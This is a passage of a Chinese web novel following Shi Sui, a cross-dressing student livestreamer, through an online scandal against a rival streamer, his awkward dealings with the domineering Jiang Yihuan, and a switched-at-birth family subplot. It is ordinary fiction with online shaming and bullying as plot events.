直到手机在桌肚里震动，他看见苏蕊发来的消息：「我靠靠靠学弟你上热搜了，你家大哥杀疯了！」 「这个叫奶咪的主播算是彻底凉了（默哀.jpg）」 什么热搜？ 时绥心里一个咯噔，赶紧点开后台，就见陌生富哥的主页最新且唯一的一条动态，是一张私信界面的长截图。 关键露骨字眼打了厚码，其他内容清晰可见，全是【奶咪】本人发给【用户_jd1hq】的各种露骨挑逗、充满x暗示的文字描述。 不带一个字配文。只有冰冷的截图，像一记无声的耳光，狠狠抽了回去。 【我去，这是真鸡啊，平台不管管吗？】 【看得老娘目瞪口呆……富哥坐怀不乱，干得漂亮！】 【#奶咪滚出直播圈#刷起来！不能让这种风气污染小蓝书平台！】 这还不算完。 在【奶咪】频繁出现占用公共资源后，很快，一个在业内颇具权威，粉丝众多的认证账号【dr.lee-整形美学】发布了一条动态。 虽然没有指名道姓，但指向性极其明确。 大致意思就是应朋友之托，对网络热议的某主播公开的影像资料进行了专业分析，高度符合定制硅胶假体植入后的表现特征。 并且，结合公开资料和部分可追溯信息，确认该主播的生理性别为男性。 【所谓“天生丽质，坦坦荡荡”……嗯，硅胶也是“材”，假体也是“料”，从这个角度讲，倒也没错？ 至于性别，只能说网络世界，身份是自由的，但刻意隐瞒并以此牟利、攻击他人，就另当别论了。 #专业分析#非正式面诊，仅供参考#仅代表个人观点#请勿对号入座】 全网沉寂。 几秒后，奶咪的评论区被攻陷，嘲讽拉满—— 【哈哈哈哈哈硅胶也是材，假体也是料，李医生你是懂修辞的，笑死我了卧槽！】 【真胸才是正义？硅胶才是正义！还是个男妈妈正义！奶咪姐（哥？），你的正义是又贵又有点复杂啊！】 【？？？？？男的？？？？还做了假体？？？？？我tm裂开来！】 【不是说隆胸不好啊，个人选择自由，但自己都装了硅胶，还嘲讽别人垫海绵？还是个男的装女的来嘲讽？？？这脸皮是钛合金做的吧？】 【噗，原来坦坦荡荡是指坦荡荡地告诉大家里面是硅胶，外面是女装大佬吗，懂了懂了！】 【之前骂别人垫，结果自己才是科技与狠活的巅峰，还是个男扮女装的巅峰，这波反转让老子cpu直接炸成烟花】 【@奶咪，出来走两步？解释下李医生说的“高端定制硅胶假体”和“生理性别为男”？是不是比海绵垫高级很多？】 【富哥牛逼！不仅挂聊天记录证明丫是男的还搞x骚扰，还请动业内大拿来专业打假硅胶，这波降维打击太狠了，奶咪你惹错人了！】 【一想到我之前还觉得他挺性感就反胃……yue！奶咪滚出互联网！】 舆论彻底爆炸，【奶咪】的评论区和直播间被这届愤怒又充满猎奇心理的网友冲得稀烂，平台也迅速做出了反应，以“伪造性别信息进行欺诈性引流及恶意攻击他人”为由，永久封禁了他的账号。 而【萌小绥】这个名字，则伴随着“百万打赏”、“富哥护短”、“专业打假硅胶主播”等更加劲爆的关键词，直接冲上了小蓝书热搜榜第一。 等时绥下课再打开手机，直接被后台汹涌而来的消息、艾特提醒和粉丝数惊呆了。 他看着那个短短一个上午暴涨了将近二十万的粉丝数字，以及私信里塞满的商务合作、粉丝告白、媒体采访请求，甚至还有整容医院的广告（？），只觉得一阵强烈的眩晕，脚底发飘。 这都什么事啊…… 这股热度来得太突然太猛烈，时绥完全没想到事情会发展到这种地步。 晚上，时绥拖着疲惫的身体来到苏蕊的工作室兼职模特。 “热搜第一的新晋直播界顶流驾到！快让我沾沾仙气儿。”苏蕊一见到他，眼睛就亮了起来，“你家那位富哥到底是什么神仙啊，也太恐怖了吧，连整容圈的大佬都能请动。” 她绕着时绥转了两圈，“不过说起来，你最近是不是又瘦了？发烧刚好，可别太拼。” 时绥无奈：“所以学姐你别打趣我了嘛，我现在头还晕着呢。” “被钱砸晕的吧。”苏蕊凑近，压低声音，八卦之火熊熊燃烧，“快说，跟那个富哥聊得怎么样了，微信加了没，他是不是贼帅贼有钱？” 时绥摇摇头，有些心虚：“没……我没加他微信。” “你为什么不加？！”苏蕊的声音瞬间拔高八度，“时随！我可爱的小学弟！那是随手一百万，动动手指就能叫人身败名裂的超级大佬啊，你居然还没加？！” “你知不知道这泼天的富贵和流量，你接住了，下辈子都不用愁了！” 时绥被她的翻脸惊呆了：“学姐，你之前不是还说不要随便加男人微信吗，还让我提钱吓跑他们……” “那能一样吗？”苏蕊恨铁不成钢地戳了戳他的额头，“那是臭男人吗？那是用实际行动证明诚意、还帮你解决麻烦的榜一大哥！金主爸爸！你看他主页挂那个硅胶男的动作，多帅多干脆，这种人，要么是真对你感兴趣，要么就是背景硬路子野，但不管哪种，现在他眼里只有你，这是天赐良机啊！” “可是……” “没有可是！”苏蕊打断他，“快给我看看他给你发的私信。” 时绥拗不过她，只好点开后台。 苏蕊凑过去，快速翻看【用户_jd1hq】发来的消息： 【什么时候开播？】 【今晚会开播吗？】 【看你最新发的动态，你发烧了？有好点吗，需不需要我给你买药？】 【直播时间固定吗？】 【好好休息。】 “你看，你看！”苏蕊激动地指着屏幕，“句句不离直播，关心你身体，不是劝你多喝热水而是想给你买药！这态度，这分寸感，不比那些一上来就‘妹妹发张自拍’‘约不约’的猥琐男强一万倍？” “而且他砸了钱，提的要求仅仅是加个微信保持联系，这过分吗？不过分！这说明他尊重你，也愿意在你身上投资，这种大哥，打着灯笼都难找！” 苏蕊抓住时绥的肩膀，眼神无比认真：“听学姐的，赶紧加上。然后，给我打起十二万分精神，好好直播。这来钱的速度，不比你在水果店切水果、在我这儿当衣架子快？你学费生活费不都指望着这个？” 钱。他的确需要钱，可是…… “可是学姐，我不是女生，我不能收他的打赏。”时绥声音低低的，“而且我觉得他有点可怕。” 手段太凌厉了，不禁让他想到主角攻江以桓。 更重要的是，奶咪的下场像一面恐怖的镜子，映照出他内心深处的恐惧。 “可怕？为什么？”苏蕊一愣，随即看到时绥苍白的脸色和眼中的不安，明白了过来，“哦……你是担心你自己？” “嗯，奶咪被骂得那么惨，就因为他是男的，却装成女的，我……”时绥没有说下去，但意思不言而喻。 他也在扮演一个不属于自己的性别角色。 “傻学弟！”苏蕊立刻打断他，“你跟那个硅胶男能一样吗，完全不是一回事！” “第一，目的不同。”苏蕊竖起一根手指，“那个奶咪，他不仅装女人，还主动用‘妹妹’身份去勾引大哥，发那些恶心的私信，还为了抢流量恶意造谣攻击你！他那是赤裸裸的欺骗和恶意竞争！你呢？你直播的时候，有说过一句‘我是女生’吗？你有用女性身份去勾引过谁、骗过谁吗？你有攻击过别的博主吗？” 时绥被问得一愣，摇了摇头：“……没有。” “就是啊！”苏蕊一拍手，“你的账号叫‘萌小绥’，动态里分享穿搭、撸猫、日常，从来没说过自己是男是女！你只是展示你觉得好看的衣服和生活片段，这算什么欺骗？现在中性风、模糊性别的美学多了去了，他奶咪是主动行骗作恶，你是被动展示美，性质天差地别！” 她看着时绥的眼睛，语气认真：“第二，你做了什么伤天害理的事吗？没有！你规规矩矩直播，甚至别人打赏你还要退款！你比那个硅胶男干净一万倍。网友骂他，骂的是他的欺骗行为、他的恶意、他的下作手段，不是单纯骂他男扮女装！只要你不主动去骗人、不去害人，谁会像扒他那样来扒你？富哥帮你，不正说明他觉得你值得吗？” 苏蕊的话像一剂强心针，让时绥慌乱的心稍微安定了一些。 “可是……风险总是有的。”时绥还是犹豫。 “做什么没风险？”苏蕊反问，“走在路上还可能被鸟屎砸呢，难道就不出门了？关键是看值不值得你现在这泼天的富贵和流量，是老天爷追着喂饭吃！错过了，你甘心？而且……” 她放缓了语气，“你想想，有了钱，你想做什么不行，还用像现在这么辛苦？” ……是这个道理。 但时绥总能想到借口：“可是我住宿舍，直播的话场地不太方便，万一被室友发现……” “哎哟，笨！”苏蕊拍了他一下，“谁让你在宿舍直播了？租房子啊，在外面租个小公寓，专门用来直播，灯光、背景布、麦克风，该配的都配上，这才叫专业。你白天上课，晚上去公寓直播，宿舍就只是睡觉的地方，室友问起来就说在外面打工或者去图书馆自习，谁会深究？” 就在这时，时绥的手机响了，是之前那家宠物医院打来的。 “喂，时同学吗？之前您救助的那只小橘猫还是没有人愿意领养。它的性格确实有点难搞，对谁都哈气，凶得很，唯独对您特别温顺粘人。您看，您这边还有可能……？” 听着电话里医生无奈的声音，再看看苏蕊鼓励的目光，时绥脑海中浮现出那只在雨夜里蹭着他掌心，对他露出柔软肚皮的小猫。 宿舍不能养猫，但如果能有个自己的小公寓…… “好吧。”终于，时绥下定决心般深吸一口气，对苏蕊点点头，“学姐说得有道理，为了猫咪，我试试看！” 苏蕊：“……” 原来猫咪才是最重要的啊。 枉费了她这么多口舌。 “这才对嘛。快，现在就给他回私信，别让人家等急了。” 时绥拿起手机，点开与富哥的私信窗口。看着对方最后那句“好好休息”，指尖悬在屏幕上方，心跳有些快。 他犹豫了几秒，开始打字。 萌小绥：【你好。关于微信号……】 删掉。 萌小绥：【谢谢你的关心，身体好多了。也谢谢你之前的帮忙。关于联系方式……】 还是别扭。 最终，他选择单刀直入： 萌小绥：【方便加个微信吗？我的微信号是：sui_0303】 这是他新建的小号。属于穿书后，时绥他自己的微信号。 消息发送成功，时绥感觉手心都出汗了。他紧张地盯着屏幕，不知道对方会是什么反应，会不会反悔不想加了啊？ 很快，时绥明白是自己多想了。 几乎是在消息显示“已读”的同时，一条新的私信跳了出来。 用户_jd1hq：【好】 激动得连句号都忘了打。 下一刻，时绥手机震动了下，小号收到一条新的微信好友申请。 头像是抽象的黑白光影艺术作品。 微信名：j 江以桓。 时绥：“……………” 12、第十二章 时绥对着这个头像和微信名看了半天，终于被迫接受事实。 ……他早该想到的。 就那随手百万的做派、逼得【奶咪】被永久封号的狠辣手段，除了江以桓还能有谁？ 所以到底为什么会是江以桓啊？！ 那个他避之不及、生怕多看一眼就会被送进精神病院的主角攻校草，居然就是为他一掷百万、手撕绿茶主播的榜一富哥？ 时绥一口气差点没提上来。 “怎么愣着了？”旁边的苏蕊轻推了他一下，“富哥加你了，快通过啊，别让人家等急了。” 时绥被推得一个激灵，手指一滑点击了接受。 下一秒，一条新消息就弹了出来。 j：「绥绥？」 时绥盯着这个称呼，只觉得头皮麻了一片。 不等他回复，对面的消息又过来了。 j：「知道我是谁吗？」 j：「我不是什么奇怪的人。我是上回在霓虹街雨夜遇见你的人，加你真的只是想认识你。」 j：「你落下的音乐盒我找人修好了。什么时候方便，我送过去给你，或者你来取？」 来了，果然是奔着见面来的！ 时绥的心跳得像擂鼓。江以桓到底想干嘛，只是想还东西何必砸一百万？不会真的想撩他吧？ 清醒一点啊主角攻，你可是有cp的人！ 而且时绥怎么可能去见江以桓，他太清楚原主的下场了。 仅仅因为针对喻之夏，被怀疑精神不正常，有伤害他人危害社会倾向，就被残酷地关进了那个暗无天日的地方。 万一时绥男扮女装的身份暴露，江以桓想起自己曾被一个又蠢又坏又毒又穷的四眼仔这样愚弄，以他睚眦必报的性格，为了清洗这个污点、报复这份羞辱，他会不会把自己送进比原主更可怕的精神病院？或者更严重一点，干脆动用更彻底的手段让他消失？ 光想象那个场景，时绥就感到毛骨悚然，他的结局绝对会比原主惨烈百倍！ 萌小绥：「……那个，谢谢你帮我修好，不过先放你那吧，我最近有点忙，不着急拿的。[猫猫恭喜发财.jpg]」 加都加了，以江以桓那个执拗劲儿，单删他谁知道会不会做出什么更恐怖的事。 得先应付过去。 网络那头，江以桓看着屏幕上略显生硬的可爱表情，挑了挑眉。 他指尖动了动，最终没有继续紧逼。 j：「好，我帮你保管。」 j：「等你什么时候方便了，再来拿。」 萌小绥：「嗯嗯嗯。还有今早网络上冒出来的风波……谢谢你帮我。」 指的是【奶咪】事件。 j：「不客气。」 不想总看见谢谢两字，江以桓补充：「也不全是为了你，那个人先撩骚我在先，我觉得很反胃。有女装癖好的男人真恶心。」 时绥：“………” 膝盖中了一箭。 萌小绥：「哈哈……这样啊，确实挺恶心的，怎么会有男的喜欢女装呢。那什么我还有点事，先不聊啦！」 江以桓唇角勾起一抹浅淡的笑。 这只小猫，警惕性果然很高。 也好，省得被坏人骗。 顾鸣川接下来没课，心情不错的江以桓约了他去打球。 球场边休息时，听到几个女生兴奋地聊着新买的香水： “这个牌子新出的香水超绝，留香超久。” “我还是更喜欢柠檬味的那款，清爽又高级！” 香水？ 江以桓握着水瓶的手顿了一下，思绪被拉回那个潮湿的雨夜。 路灯下，“少女”俯身抱起小猫时，那股若有似无、干净又带着一丝暖甜的独特气息，仿佛再次萦绕在鼻尖。 那味道太特别，以至于江以桓怎么也忘不了。 …… 几小时后，结束了兼职的时绥重新戴上黑框眼镜，套上休闲宽大的衣服，犹如一抹不起眼的影子，无声无息地潜回学校。 天色已暗，校园小路上行人不多。 最近也不知撞了哪门子霉运，刚拐过一个路口，就叫他迎面撞上了刚准备出校门的顾鸣川和江以桓。 时绥心里一个咯噔，下意识就想低头绕开。 “喂，时随！”顾鸣川眼尖，立马叫住了他。 顾鸣川性格中带点小学男生那种别扭劲儿，明明想跟时绥说话，出口却带着点质问和命令的语气，像是被江以桓传染了：“你发烧刚好就又乱跑？这么晚才回学校，白天干嘛去了，等会儿一起吃晚饭不。” 发烧？江以桁蹙眉。 绥绥前两天的动态也提到自己发烧。这么凑巧吗？ 时绥头垂得很低，飞快地瞟了一眼顾鸣川旁边那个存在感极强的身影。 江以桓正盯着他，黑色眼眸深邃，带着惯有的审视跟冷漠，不知道在想什么。 “不用了，我晚上还有事。”时绥只觉得牙根打颤，只想赶紧逃离，“我先回宿舍了。”说完，他加快脚步就想从两人身边溜过去。 “喂！你……”顾鸣川被他这避之不及的态度弄得有点恼，刚要开口。 江以桓骤然间伸出手，精准地扣住了正要和他擦肩而过的时绥的手腕！ 时绥：“！！！” 时绥浑身一僵，如同被电流击中。 江以桓掌心的温度透过薄薄的衬衫袖子传来，烫得他心惊肉跳，时绥吓得抬头，撞进江以桓充满窥探的视线里，心脏几乎要从喉咙里蹦出来。 完了！ 被发现了？他认出我了？！ 顾鸣川：“怎么了江哥？” 江以桓没有理会顾鸣川的疑问，仍然微蹙着眉。 然后，像是终于确认了什么，竟然抓着时绥的手腕，顺势将他拉近了一步。 时绥被他扯得一个踉跄。那笨拙的姿态和不起眼的打扮，在江以桓眼里完全就是一个有点胆小的，笨拙且毫无吸引力的普通男生。 然后……江以桓低下头，凑近时绥的颈侧和发梢，极其自然地嗅了嗅。 这个动作太过亲昵和突然。时绥吓得连呼吸都忘了，只能感觉到对方温热的呼吸拂过他的皮肤，激起一阵细小的战栗。 江以桓抬起头，看着眼前这个吓得脸色发白的男生，眼里划过一丝兴味。 他觉得时随这副惊恐的样子有点好笑，像只被拎住后颈皮的、炸毛的小土猫。 “这么怕我。”江以桓的声音低沉，带着一丝玩味，“我有对你做过可怕的事情吗？” “……没、没有。” 时绥嗓音发抖，拼命想把手腕抽回来，却被江以桓攥得更紧：“那就别躲，我又不会吃了你。” “回答我一个问题，我就放你走，好不好？” 时绥不再试着抽出手臂了，江以桓不知道吃什么长大的，力气太大了。 时绥点头如捣蒜，意思是你快问。 江以桓的视线锁着他：“你身上喷香水了？怎么这么香。” “没、没有啊，我从来不用香水。” 话音刚落，迎着江以桓愈发狐疑的目光，时绥忽然想起那个雨夜，江以桓也说他身上有股很好闻的气味……他大脑飞速旋转： “哦！可能是我用的沐浴露的味道，我有泡澡的习惯，大概是腌制入味了。你要的话，我回去发链接给你。” “……”江以桓没吭声，他盯着时绥看了几秒。 直到时绥又开始哆嗦，似乎被吓得不轻，他才终于松开了手。 “嗯。”他应了一声，算是接受了这个说法。 手腕上的钳制一松，时绥连再见都忘了说，转身便往宿舍楼方向逃窜。 身影快如闪电，跑出了身后有恶狼在追的架势。 江以桓：“……” 奇了怪了。 去餐馆路上，话唠顾鸣川一直在旁边叭叭叭，江以桓偶尔应一句，似乎又是平日里话少到让人难以接近的高冷校草。 只是对着时绥逃窜的方向一步三回头，一副想不通的模样。 直到微信收到来自“时随”的链接分享。 是一个便宜牌子的沐浴露。 樱花味。 江以桓的脸骤然阴沉了下来。 他对樱花过敏，以至于闻到樱花味的任何东西就心生抵触。 这绝对不可能是樱花的味道。 “时随”为什么骗他？ 13、第十三章 时绥一路狂奔回宿舍，反锁上门，背靠着门板喘息。 心跳狂乱不止。 手腕上被江以桓抓过的地方，也仿佛还残留着灼热的触感。 气味……江以桓闻到了什么？ 时绥抬起胳膊用力嗅了嗅，什么特别的气息都没闻到。 宿舍里只有室友孟灿在打游戏。时绥犹豫了一下，还是走到孟灿旁边：“孟灿，你现在方便吗，有闻到我身上有什么味道吗？” 孟灿闻言暂停了游戏，疑惑地凑近时绥：“味道？没啥特别的啊。怎么啦小宝，你怕自己臭了？刚跑完有点汗味很正常啦。” ……孟灿闻不到。 时绥说了句没事，回到自己床位，脑子里在想：那江以桓闻到的到底是什么，难道真的是体香？ 听说体香特别淡，能闻到的人少之又少…… 江以桓是狗吗，鼻子要不要那么灵敏？！ 这下时绥更加不敢得罪江以桓了，生怕被他嗅见自己的小秘密。 那个以萌小绥身份加上江以桓微信的账号只能暂时做冷处理，绝不主动联系。时绥只想安安分分地当他的透明人，期望着江以桓对女装的自己的热情能随着时间消退，或者干脆转移目标。 说到转移目标，主角受喻之夏最近怎么都没消息，你cp都快变成直男了啊！ 时绥切换原主的微信，看到喻之夏最新发的朋友圈九宫格——喻之夏被原主欺负成那样，居然都没删除或屏蔽他。 主角受肚量这么大的吗？ 照片中的人是喻之夏和一个气质出众的年轻男人。 男人戴着口罩和帽子，露出的眉眼精致好看，隔着屏幕也能感受到那份耀眼的明星气场。 正是h国当红男团的人气成员——喻向锦。 喻之夏：「今天去机场接二哥！[爱心][转圈]」 下面几条共友的评论格外扎眼： 「哇！欧巴回国啦！[星星眼]」 「二哥真人比镜头里还帅，夏夏好幸福，有这么帅的哥哥」 「夏夏，替我问你哥要个签名！」 喻向锦。时绥默念这个名字。 喻家有三子，现任家主是大哥喻廷钧，性格严肃冷峻，手段雷霆，是商界令人敬畏的存在，喻之夏对他也是又敬又怕。 而二哥喻向锦除了是当红的流量明星，还是个弟控，对喻之夏几乎是无条件宠爱，还替喻之夏参加过高中的家长会。 最让时绥印象深刻的是原著里提过一嘴——喻向锦曾在家长会那次撞见原主在欺负喻之夏，二话不说就把嚣张的原主揍得鼻青脸肿，警告他离喻之夏远点。 看着照片里喻向锦冷漠的侧颜，时绥有些困惑，他模糊地记得，原著里这对亲密无间的兄弟，感情似乎破裂了？ 具体发生了什么摩擦，时绥也不记得。 据说是两人之间发生了激烈的争吵，喻向锦对待喻之夏的态度忽然变得极其冷淡，原本在国内发展地好好的，突然选择出国发展，就跟再也不想看见喻之夏那张脸似的。 书里这段剧情写得隐晦，像是作者埋下的一个深坑，后面似乎也没填明白，或者填了但他看漏了？ 这个困惑暂时无解。时绥的思绪又飘到了主角攻受那条更重要的感情线上。 按照原著发展，江以桓无疑是拿着顶级爽文剧本的男人。家世、容貌、能力无一不是顶尖，无论在校园还是未来初露锋芒的职场，都是光芒万丈的存在。 喻之夏最初因为那份长辈订下的婚约，对江以桓怀有天然的好感和亲近之意，甚至带着点小心翼翼的仰慕。就像对大哥喻廷钧那样。 转折点在上大学之后。准确来讲，是江以桓亲手把时随送进精神病院之后。 ……怪就怪在这。 江以桓替喻之夏彻底清除了时随这个恶毒跟班，照理说喻之夏应该心怀感激，两人关系更进一步才对。 但原著偏偏写的是，喻之夏从那时起，反而开始刻意避开江以桓了。 这种反常的躲避，自然会引起江以桓的注意和好奇。 以江以桓那种掌控欲和探究欲极强的性格，喻之夏越躲，他就越想弄明白原因，于是一场极其拉扯的感情线就此展开，也是时绥会追读下去的重要原因—— 喻之夏的回避带着难以言说的复杂情绪，兴许是对江以桓狠辣手段的畏惧。 两人之间的张力十足，看得他抓心挠肝，恨不得钻进作者存稿箱，看看这俩后来是怎么在一起的。 而这个问题，原著作为一本连载文，到时绥穿书前都还没给出明确结局。 他只记得江以桓理智、冷酷、掌控欲爆棚，怎么看都不像是会为情所困的人。喻之夏又是怎么让这块坚冰主动融化的？ “像江以桓那样恶劣又理智的人，怎么会轻易动心呢？”时绥喃喃自语，脑海里却不由自主地闪过赠送在直播间的超跑特效。 整整一百万人民币，都是江以桓送给萌小绥的。 时绥：“……呃。” 算了，走一步看一步吧。 时绥心想，管你是深情还是神金，离我和我的小秘密远点就行。 - 机场，vip通道出口。 喻之夏努力压下见到二哥的激动和心底深处的一丝忐忑，将手中特意买的，喻向锦以前最喜欢的冰美式递过去，脸上扬起期待的笑容： “二哥，欢迎回来，给你买的咖啡。” 换以前，喻向锦肯定会给他一个大大的拥抱，然后揉着他的头发，巴不得向全世界炫耀般说，我弟弟宇宙第一好。 可现在，喻向锦只是冷淡地接了过来，指尖都没有碰到喻之夏的手，声音透过口罩传出，带着明显的疏离：“嗯，谢谢。” 喻之夏的笑容僵在脸上，无措地收回了手，指尖微微泛凉。 回别墅的路上，车内的气氛沉闷得令人窒息。 为了打破僵局，喻之夏一直小心翼翼地分享着最近学校里的趣事，譬如哪个教授特别有趣，社团活动发生了什么好玩的事情。 喻向锦却完全没有听的兴致，反应极其冷淡。 就在喻之夏说到一个他认为特别有意思的地方时，喻向锦突然开口，语气冷硬地打断了他： “那个叫时随的，最近过得怎么样？” 车内气氛瞬间跌落冰点。 喻之夏仿佛被一只无形的手扼住了喉咙，血色迅速从脸上褪去。 喻向锦通过车窗的反射光，清晰地看见喻之夏此刻眼里的震惊，慌乱，和一丝受伤。 这眼神就像点燃炸/药的导火索。 他目光锐利地刺了过去，语带嘲讽：“怎么，我不能问问我自己的亲弟弟吗？” …… 亲弟弟。 就像在揭一道血淋淋的伤疤，时间退回江以桓和喻之夏的确定婚约的那一天。 那天，喻向锦意外发现喻之夏没有血缘关系，经调查后发现，喻之夏和时随从小被掉包。 喻之夏在喻家长大，享受着喻家小少爷享有的一切。 时随被扔在福利院，被一对夫妻领走抚养，连名字都取得随便。 喻向锦最初得知真相时，震惊之余其实并没有迁怒喻之夏，掉包不是喻之夏的错。 令他愤怒的点在于，喻之夏的第一反应竟然是乞求他不要将这件事告诉大哥。 那一刻喻向锦明白了，他这位被他宠溺了十八年的弟弟原来早就知道了自己的身世。这种刻意隐瞒的自私行为彻底寒了喻向锦的心。 更叫喻向锦痛苦和愤怒的是，他曾经为了保护这个假弟弟，居然还亲自动手狠狠揍过他的亲弟弟时随。 “你分明清楚，即便身份曝光，以喻家在商业界的地位和大哥的处事风格，绝不会将你扫地出门，依旧会给你优渥的生活。” 一想到自己曾对亲弟弟挥拳相向，喻向锦内心的愧疚几乎快吞没他，“你就那么在意那份与江家的婚约？” “我不在意这个，我只是不喜欢时随！” 手指紧攥着衣角，喻之夏尾音已经染上了哽咽。 他受不了喻向锦此刻的语气。曾经偏爱他的二哥，居然用这副语气与他说话：“我不喜欢时随，非常不喜欢！我知道这一切原本都该属于时随的，但我就是不想给他，就是不想要他被接到喻家。二哥你也清楚他是个什么样的人，都对我做过什么，如果他被接回喻家，我该怎么办？！” “我难道会眼睁睁看着你被他欺负？！”喻向锦咆哮道。 喻之夏反问：“你不会吗？” 车厢内的低气压几乎凝固。 喻之夏注视着盛怒中的喻向锦，巨大的委屈和难过涌上心头。终于，他问出一个盘旋在心底很久的问题： “二哥，对你来说，是我们之间这么多年的感情重要，还是血缘更重要？” “你简直无可救药！”喻向锦彻底被气笑了。 他原以为答案早就告诉了喻之夏。 如果他和喻之夏之间的兄弟情不重要，他能为了帮喻之夏隐瞒这件事而跑到国外？ “时随是必须要被接回去的，只是时间问题。我劝你想清楚后，自己老老实实向大哥坦白——如果你不想真的被扫地出门的话。” 喻向锦语气更加冰冷，无视身旁低下头，肩膀还在微微发抖的喻之夏。 “我这次回国也不是为了你。只是在国内有行程。工作罢了。” 眼泪砸落在紧紧交握的手背上，喻之夏吸着鼻子，嘴上答应，心底却想，他绝对不会让“时随”，让那个恶毒的人春风满面地回到喻家。 14、第十四章 “啊嚏！” 有谁在背后议论他？ 时绥揉了揉发痒的鼻子，刚赶到法学院，把江以桓要他带的烟交到江以桓手上，便见江以桓瞥了他一眼，状似无意地问了句：“发烧还没好？” 江以桓最近不知抽什么风，微信消息轰炸不断，时绥不是在跑腿，就是在跑腿的路上。 苏蕊念及他刚退烧，特意多批了两天假，时绥难得的休息日全在江以桓这儿耗着了。 时绥以为恶霸校草终于良心发现，刚要顺势点头，好赶紧回去歇着，却听江以桓毫无人性地说：“没好就多喝热水。去，给我带瓶水回来，要冰的。” ……服辽。时绥只能去买水。 但他心态好，想的是，反正主角攻有钱，肯定不会亏着自己的跑腿费。 就当打工赚钱咯。 “我只喝什么牌子的水你不知道吗？”江以桓说，“重买。” 时绥：“……”忍了。 玻璃瓶装的高端矿泉水，时绥斥28块巨资买了回来，在心底阴阳江以桓：对对对，高端水配高级货。 见江以桓不在原来的地方等他，时绥又去操场找人。 篮球场上，气氛热烈。 江以桓和顾鸣川正打得激烈。 江以桓动作矫健凌厉，每一次突破和投篮都带着掌控全场的压迫感，汗水沿着他棱角分明的下颌线滑落，在阳光下折射出耀眼的光芒。 场边围观的女生们发出阵阵尖叫，不少男生的目光也紧紧追随着他。 江以桓与喻家的喻之夏的婚约在a大不是秘密，两人又都是男生。因此当中场休息时，几个男生大胆地凑了上去。 包括艺术院的院草，洛初。 洛初虽然是男生，但颜值很高，每天都给自己收拾得很精致。开学第一天就大大方方承认自己喜欢男生，系里许多人都称他为天菜。 他红着脸给江以桓送水，江以桓却连看都没看他一眼，直接无视了所有伸过来的手，包括洛初的那瓶水。 他径直走到时绥面前，高大的身影几乎将时绥完全笼罩。江以桓下巴轻抬，理所当然地要求道：“拧开。” 时绥：“……你自己没手？” 一个没注意，把心里话说了出来。 周围人都错愕地看了过来。 江以桓似乎也愣了一下，随即眼神就沉了下去，一个小跟班也敢这么和他说话？ 时绥无语，因为他感受到对方似乎要用眼神扎死他，只能认命地去拧那该死的瓶盖。 大概是被太多人看着，时绥社恐病犯了，拧了好几下才拧开，手都勒红了。 江以桓这才满意，接过来。左腕的沉香木手串随着动作滑落至腕骨，沉甸甸地坠着。 他仰头灌了几口。 “他是谁啊。”不远处，洛初没忍住问，“江以桓和他很熟？” “你是说时随？”顾鸣川顺着他注视的方向望去，“之前和我还有江哥都是同一所高中的。算不上熟吧，就一跑腿的。以前怪令人讨厌的，最近大概是转了性……” 说着，他走过去：“喂时随，给江哥买怎么不给我买，你区别对待啊！” 只是跑腿？洛初看着答应顾鸣川下次一定的时绥，露出了若有所思的神情。 然后…… “咔擦。” 洛初藏在袖子里的手机将这一幕拍了下来，画面正好定格在江以桓笑着把冰水往时绥脸上贴，时绥气鼓鼓又不敢发作的脸上。 …… 时绥被江以桓使唤了一整天，晚上一回寝室就躺尸。 比起身体，更多的是心累，毕竟和江以桓相处就是精神上的一种折磨。 当晚别说跑腿费，连垫付的本金时绥都累得忘了要。 明天满课，他心想，总算不用看见江以桓那张脸了。 「时随，去东区食堂打包一份煲仔饭，半小时内送到法学院来。」 次日，江以桓的消息言简意赅，依旧跟发布任务似的命令时绥。 「时随，我落了一份资料在学生会办公室，去帮我拿过来。」 「时随，图书馆借的书到期了，替我还一下。」 ……时随时随时随，你让时随去帮你啊，叫我干嘛？！ 理由五花八门，地点遍布校园。时绥愈发感觉自己像个陀螺，被抽得团团转。 由于限定了时间，他每次都跑得飞快，气喘吁吁地把东西送到江以桓面前，而江以桓每次都只是冷淡地接过东西，别说跑腿费，连句辛苦了都没有！ 一次两次，时绥还能安慰自己这个逼可能忘了。 次数变多，时绥就觉得不对劲。 跑腿可不比切水果轻松。 时绥看着自己汗湿的衣服和晒得发红的手臂，再看着江以桓那副高高在上的嘴脸，火气噌噌噌地就冒了上来。 “江哥，我今天课多，真的没时间再帮你带咖啡！” 迎着江以桓线条锋利的下颌线，时绥小发雷霆道：“我把账单发给你了，你看你什么时候有空可以给我结一下钱！” 他故意说得大声，让自己硬气起来。 江以桓轻抬眼皮，那双深邃的眸子睨向时绥，里面没有一丝温度，只有玩味和一丝嘲讽。 等等，嘲讽？ 我帮你跑腿你还嘲讽我？！ 时绥霎时有种不祥的预感。 下一秒，就见江以桓身体前倾，浓厚的压迫感顷刻间压了过来。 “钱？我让你跑腿是你的荣幸，你还想要钱？” 江以桓勾起唇角，声音不高却很扎心。又慢慢直起身说：“钱我会结给你，只是我最近心情不好，不想给你。等我哪天心情好了再说，你回去等着吧。” 见时绥没动，江以桓又笑了，拿手背轻拍他脸颊：“怎么，你该不会觉得我缺你这点钱，想要赖账吧？” “你这么想我可就不对了啊，区区小、跟、班？” “……” 拖腔拉调的语气听得时绥红温。 “啊啊啊啊！” 时绥冲回寝室就对着床上的枕头一顿拳打脚踢，为这赤裸裸的羞辱和耍弄。 他算是明白了，江以桓就是在故意整他，根本不需要理由，只是单纯觉得耍弄他这个四眼仔很有趣！ 听见他嘴里狂骂混蛋、王八蛋、神经病！整个人仿佛变成一只张牙舞爪的野猫，沉浸在游戏中的孟灿都被吓傻了：“卧槽，时随你抽风了？？” “谁惹你了？？” “还能有谁，那个周扒皮！” 孟灿没听懂。时绥又把枕头当成江以桓的脸狠狠捶了几拳。 “有钱了不起啊？仗势欺人，亏我还觉得你是个大方富哥，呸！现实里就是个恶劣的资本家，周扒皮，坏东西！” 骂着骂着，他忽然停住了。 等等，富哥？ 时绥立刻坐直身体，摘掉眼镜后的一双清澈眼眸亮得惊人。 对啊，现实里这个恶劣的江扒皮，在网络上可是那个为了萌小绥一掷百万眼都不眨的榜一大哥。 骤然间，时绥生出一个胆大包天的念头—— 不给我跑腿费？行，那我就让萌小绥赚你的钱，让你心甘情愿地，加倍地，十倍百倍地给我送钱！ 他原本还对坑富哥有点心理负担，担心将来掉马后被报复得更惨。 但现在……去他丫的心理负担！ 江以桓都这么欺负人了，他还讲什么仁义道德，他不做亏本的买卖。 现实里他给江以桓跑腿受气，网络上他就要让江以桓给萌小绥当atm机！ 你不是有钱吗？ 不是喜欢萌小绥吗？ 